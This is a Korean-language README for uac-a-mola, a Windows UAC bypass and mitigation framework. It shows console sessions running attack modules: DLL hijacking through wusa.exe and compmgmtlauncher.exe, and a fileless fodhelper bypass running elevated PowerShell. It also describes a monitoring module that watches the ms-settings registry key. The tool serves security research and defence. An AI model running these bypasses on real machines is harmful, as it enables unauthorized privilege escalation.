
Windows UAC 우회 공격 및 완화를 위한 모듈식 프레임워크로, DLL 하이재킹, 파일리스 실행, 및 권한 상승 시도를 탐지하고 차단하는 실시간 모니터링 기능을 제공합니다.
uac-a-mola를 설치하려면 다음 작업을 수행해야 합니다:
pip install -r requirements.txt
Uac-a-mola가 이제 사용 준비 완료! 다음을 입력하여 기능을 테스트할 수 있습니다:
cd uacamola
python uacamola.py
이 섹션은 uac-a-mola 모듈 중 일부의 사용법을 간략히 설명합니다:
공격 모듈 사용은 매우 간단하여 설명이 거의 필요 없습니다. 해야 할 일은 프레임워크에서 load 명령을 사용하여 해당 모듈을 로드하고, show 명령을 사용하여 옵션이나 입력 매개변수를 확인한 후, run 명령으로 모듈을 실행하는 것입니다:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
그리고 다른 예:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
완화 방법 사용도 상당히 간단하지만, 이 섹션에서 설명할 다소 복잡한 내부 구조를 가지고 있습니다. 사용법과 관련하여 가장 먼저 해야 할 일은 사용 가능한 완화 모듈을 로드하는 것입니다:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
이 경우, uacamola 프레임워크에서 실행될 리스너와 통신하는 데 에이전트가 사용할 비밀번호를 설정해야 합니다. 에이전트는 uacamola/support/agents 경로에서 찾을 수 있으며, 해당 파일을 열면 비밀번호를 확인할 수 있습니다:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
_uacamola_가 인증 및 통신에 사용되는 비밀번호이지만, 변경할 수 있습니다. 필요한 또 다른 매개변수는 모니터링할 바이너리 목록이 포함된 파일 경로입니다. 이 바이너리들은 에이전트 경로에 agent.pyw 파일이 있어야 합니다.
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
이 필드들을 채우고 run 명령을 실행하면, uacamola는 목록에 있는 바이너리에서 UAC 우회와 관련된 모든 활동을 모니터링하기 시작합니다. 위험한 활동이 감지되면 자동으로 위험한 분기(파일 시스템 또는 레지스트리의)를 제거하고 바이너리를 안전한 방식으로 실행합니다. 이 모드를 종료하려면 ENTER 키를 누르기만 하면 됩니다.
오류가 있을 경우 [email protected]으로 보고하거나 GitHub에 이슈를 열어 주세요. 여러분의 협력에 감사드립니다!
본 소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 어떠한 명시적 또는 묵시적 보증도 부인합니다. 어떠한 경우에도 저작자나 저작권 보유자는 계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다. 귀하가 라이선스 고지가 포함된 저장소에 기여하는 경우, 동일한 조건으로 귀하의 기여를 라이선스하며, 귀하는 해당 조건에 따라 기여를 라이선스할 권리가 있음에 동의합니다. 귀하의 기여를 다른 조건으로 라이선스하는 별도의 계약(기여자 라이선스 계약 등)이 있는 경우, 해당 계약이 우선합니다.